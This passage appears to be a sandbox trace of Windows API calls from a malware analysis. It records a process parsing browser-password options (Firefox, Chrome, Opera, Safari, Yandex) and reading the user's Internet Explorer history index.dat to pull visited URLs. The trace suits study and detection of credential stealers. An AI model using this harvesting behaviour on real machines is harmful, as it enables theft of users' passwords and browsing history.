wcscat (in: _Dest=0x28f3a0, _Source="LoadPasswordsFirefox" | out: _Dest="/LoadPasswordsFirefox") returned="/LoadPasswordsFirefox" [0068.976] _wcsicmp (_String1="/LoadPasswordsFirefox", _String2="/scomma") returned -7 [0068.976] _wcsicmp (_String1="/LoadPasswordsFirefox", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="LoadPasswordsChrome" | out: _Dest="/LoadPasswordsChrome") returned="/LoadPasswordsChrome" [0068.976] _wcsicmp (_String1="/LoadPasswordsChrome", _String2="/scomma") returned -7 [0068.976] _wcsicmp (_String1="/LoadPasswordsChrome", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="LoadPasswordsOpera" | out: _Dest="/LoadPasswordsOpera") returned="/LoadPasswordsOpera" [0068.976] _wcsicmp (_String1="/LoadPasswordsOpera", _String2="/scomma") returned -7 [0068.976] _wcsicmp (_String1="/LoadPasswordsOpera", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="LoadPasswordsSafari" | out: _Dest="/LoadPasswordsSafari") returned="/LoadPasswordsSafari" [0068.976] _wcsicmp (_String1="/LoadPasswordsSafari", _String2="/scomma") returned -7 [0068.976] _wcsicmp (_String1="/LoadPasswordsSafari", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="LoadPasswordsSeaMonkey" | out: _Dest="/LoadPasswordsSeaMonkey") returned="/LoadPasswordsSeaMonkey" [0068.976] _wcsicmp (_String1="/LoadPasswordsSeaMonkey", _String2="/scomma") returned -7 [0068.976] _wcsicmp (_String1="/LoadPasswordsSeaMonkey", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="LoadPasswordsYandex" | out: _Dest="/LoadPasswordsYandex") returned="/LoadPasswordsYandex" [0068.976] _wcsicmp (_String1="/LoadPasswordsYandex", _String2="/scomma") returned -7 [0068.976] _wcsicmp (_String1="/LoadPasswordsYandex", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="UseFirefoxProfileFolder" | out: _Dest="/UseFirefoxProfileFolder") returned="/UseFirefoxProfileFolder" [0068.976] _wcsicmp (_String1="/UseFirefoxProfileFolder", _String2="/scomma") returned 2 [0068.976] _wcsicmp (_String1="/UseFirefoxProfileFolder", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="UseFirefoxInstallFolder" | out: _Dest="/UseFirefoxInstallFolder") returned="/UseFirefoxInstallFolder" [0068.976] _wcsicmp (_String1="/UseFirefoxInstallFolder", _String2="/scomma") returned 2 [0068.976] _wcsicmp (_String1="/UseFirefoxInstallFolder", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.976] wcscat (in: _Dest=0x28f3a0, _Source="UseChromeProfileFolder" | out: _Dest="/UseChromeProfileFolder") returned="/UseChromeProfileFolder" [0068.977] _wcsicmp (_String1="/UseChromeProfileFolder", _String2="/scomma") returned 2 [0068.977] _wcsicmp (_String1="/UseChromeProfileFolder", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.977] wcscat (in: _Dest=0x28f3a0, _Source="UseOperaPasswordFile" | out: _Dest="/UseOperaPasswordFile") returned="/UseOperaPasswordFile" [0068.977] _wcsicmp (_String1="/UseOperaPasswordFile", _String2="/scomma") returned 2 [0068.977] _wcsicmp (_String1="/UseOperaPasswordFile", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.977] wcscat (in: _Dest=0x28f39c, _Source="FirefoxProfileFolder" | out: _Dest="/FirefoxProfileFolder") returned="/FirefoxProfileFolder" [0068.977] _wcsicmp (_String1="/FirefoxProfileFolder", _String2="/scomma") returned -13 [0068.977] _wcsicmp (_String1="/FirefoxProfileFolder", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.977] wcscat (in: _Dest=0x28f39c, _Source="FirefoxInstallFolder" | out: _Dest="/FirefoxInstallFolder") returned="/FirefoxInstallFolder" [0068.977] _wcsicmp (_String1="/FirefoxInstallFolder", _String2="/scomma") returned -13 [0068.977] _wcsicmp (_String1="/FirefoxInstallFolder", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.977] wcscat (in: _Dest=0x28f39c, _Source="ChromeProfileFolder" | out: _Dest="/ChromeProfileFolder") returned="/ChromeProfileFolder" [0068.977] _wcsicmp (_String1="/ChromeProfileFolder", _String2="/scomma") returned -16 [0068.977] _wcsicmp (_String1="/ChromeProfileFolder", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.977] wcscat (in: _Dest=0x28f39c, _Source="OperaPasswordFile" | out: _Dest="/OperaPasswordFile") returned="/OperaPasswordFile" [0068.977] _wcsicmp (_String1="/OperaPasswordFile", _String2="/scomma") returned -4 [0068.977] _wcsicmp (_String1="/OperaPasswordFile", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.977] wcscat (in: _Dest=0x28f3a0, _Source="SaveFileEncoeding" | out: _Dest="/SaveFileEncoeding") returned="/SaveFileEncoeding" [0068.977] _wcsicmp (_String1="/SaveFileEncoeding", _String2="/scomma") returned -2 [0068.977] _wcsicmp (_String1="/SaveFileEncoeding", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.977] _wcsicmp (_String1="/sort", _String2="/scomma") returned 12 [0068.977] _wcsicmp (_String1="/sort", _String2="C:\\ProgramData\\FB70.tmp") returned -52 [0068.977] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0068.977] SetCursor (hCursor=0x10007) returned 0x10007 [0068.977] GetVersionExW (in: lpVersionInformation=0x452e08*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x452e08*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0068.977] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x28a8c0, csidl=34, fCreate=0 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 1 [0068.985] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.985] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.985] wcslen (_String="*.*") returned 0x3 [0068.985] wcscpy (in: _Dest=0x289ebc, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" [0068.985] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.985] wcscat (in: _Dest=0x289ebc, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\" [0068.985] wcscat (in: _Dest=0x289ebc, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\*.*" [0068.985] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x28a144 | out: lpFindFileData=0x28a144) returned 0x89fe98 [0068.985] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.985] wcslen (_String=".") returned 0x1 [0068.985] wcscpy (in: _Dest=0x28a394, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" [0068.985] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.985] wcscat (in: _Dest=0x28a394, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\" [0068.985] wcscat (in: _Dest=0x28a394, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\." [0068.985] wcscmp (_String1=".", _String2="..") returned -1 [0068.985] wcscmp (_String1=".", _String2=".") returned 0 [0068.985] _wcsicmp (_String1=".", _String2="index.dat") returned -59 [0068.985] FindNextFileW (in: hFindFile=0x89fe98, lpFindFileData=0x28a144 | out: lpFindFileData=0x28a144) returned 1 [0068.985] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.985] wcslen (_String="..") returned 0x2 [0068.985] wcscpy (in: _Dest=0x28a394, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" [0068.985] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.985] wcscat (in: _Dest=0x28a394, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\" [0068.985] wcscat (in: _Dest=0x28a394, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\.." [0068.985] wcscmp (_String1="..", _String2="..") returned 0 [0068.985] _wcsicmp (_String1="..", _String2="index.dat") returned -59 [0068.985] FindNextFileW (in: hFindFile=0x89fe98, lpFindFileData=0x28a144 | out: lpFindFileData=0x28a144) returned 1 [0068.985] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.985] wcslen (_String="desktop.ini") returned 0xb [0068.985] wcscpy (in: _Dest=0x28a394, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" [0068.985] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.985] wcscat (in: _Dest=0x28a394, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\" [0068.985] wcscat (in: _Dest=0x28a394, _Source="desktop.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\desktop.ini" [0068.985] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5 [0068.985] FindNextFileW (in: hFindFile=0x89fe98, lpFindFileData=0x28a144 | out: lpFindFileData=0x28a144) returned 1 [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.986] wcslen (_String="History.IE5") returned 0xb [0068.986] wcscpy (in: _Dest=0x28a394, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History" [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History") returned 0x39 [0068.986] wcscat (in: _Dest=0x28a394, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\" [0068.986] wcscat (in: _Dest=0x28a394, _Source="History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0068.986] wcscmp (_String1="History.IE5", _String2="..") returned 1 [0068.986] wcscmp (_String1="History.IE5", _String2=".") returned 1 [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcslen (_String="*.*") returned 0x3 [0068.986] wcscpy (in: _Dest=0x2894c0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcscat (in: _Dest=0x2894c0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" [0068.986] wcscat (in: _Dest=0x2894c0, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*" [0068.986] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 0x89fed8 [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcslen (_String=".") returned 0x1 [0068.986] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" [0068.986] wcscat (in: _Dest=0x289998, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\." [0068.986] wcscmp (_String1=".", _String2="..") returned -1 [0068.986] wcscmp (_String1=".", _String2=".") returned 0 [0068.986] _wcsicmp (_String1=".", _String2="index.dat") returned -59 [0068.986] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 1 [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcslen (_String="..") returned 0x2 [0068.986] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" [0068.986] wcscat (in: _Dest=0x289998, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\.." [0068.986] wcscmp (_String1="..", _String2="..") returned 0 [0068.986] _wcsicmp (_String1="..", _String2="index.dat") returned -59 [0068.986] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 1 [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcslen (_String="desktop.ini") returned 0xb [0068.986] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" [0068.986] wcscat (in: _Dest=0x289998, _Source="desktop.ini" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\desktop.ini" [0068.986] _wcsicmp (_String1="desktop.ini", _String2="index.dat") returned -5 [0068.986] FindNextFileW (in: hFindFile=0x89fed8, lpFindFileData=0x289748 | out: lpFindFileData=0x289748) returned 1 [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcslen (_String="index.dat") returned 0x9 [0068.986] wcscpy (in: _Dest=0x289998, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5" [0068.986] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5") returned 0x45 [0068.986] wcscat (in: _Dest=0x289998, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\" [0068.986] wcscat (in: _Dest=0x289998, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" [0068.987] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0 [0068.987] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc4 [0068.987] SetFilePointer (in: hFile=0xc4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.987] ReadFile (in: hFile=0xc4, lpBuffer=0x289418, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x2830e0, lpOverlapped=0x0 | out: lpBuffer=0x289418*, lpNumberOfBytesRead=0x2830e0*=0x20, lpOverlapped=0x0) returned 1 [0068.987] GetFileSize (in: hFile=0xc4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10000 [0068.987] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000 [0068.987] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.987] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.987] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000 [0068.987] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.987] _strlwr (in: _Str="res://C:\\Windows\\system32\\mmcndmgr.dll/views.htm" | out: _Str="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm" [0068.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned 49 [0068.987] wcslen (_String="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned 0x30 [0068.987] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20736, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5100 [0068.987] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.988] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0068.988] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5180 [0068.988] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.988] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.988] SetFilePointer (in: hFile=0xc4, lDistanceToMove=20864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5180 [0068.988] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x180, lpOverlapped=0x0) returned 1 [0068.988] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/" [0068.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="https://www.google.de/") returned 23 [0068.988] wcscmp (_String1="https://www.google.de/", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.988] wcslen (_String="https://www.google.de/") returned 0x16 [0068.988] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300 [0068.988] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.988] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0068.988] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5380 [0068.988] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.988] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.988] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21376, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5380 [0068.988] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.988] _strlwr (in: _Str="http://www.msn.com/" | out: _Str="http://www.msn.com/") returned="http://www.msn.com/" [0068.988] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="http://www.msn.com/") returned 20 [0068.988] wcscmp (_String1="http://www.msn.com/", _String2="https://www.google.de/") returned -1 [0068.988] wcscmp (_String1="http://www.msn.com/", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0068.988] wcslen (_String="http://www.msn.com/") returned 0x13 [0068.988] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480 [0068.988] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x2830c0, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830c0*=0x8, lpOverlapped=0x0) returned 1 [0068.988] _memicmp (_Buf1=0x287318, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0068.988] SetFilePointer (in: hFile=0xc4, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480 [0068.989] ReadFile (in: hFile=0xc4, lpBuffer=0x287318, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x2830bc, lpOverlapped=0x0 | out: lpBuffer=0x287318*, lpNumberOfBytesRead=0x2830bc*=0x100, lpOverlapped=0x0) returned 1 [0068.989] _strlwr (in: _Str="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico" | out: _Str="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico" [0068.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x287392, cbMultiByte=-1, lpWideCharStr=0x283118, cchWideChar=8192 | out: lpWideCharStr="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned 62 [0068.989] wcscmp (_String1="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico", _String2="http://www.msn.com/") returned -1 [0068.989] wcscmp (_String1="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico", _String2="https://www.google.de/") returned -1 [0068.989] wcscmp 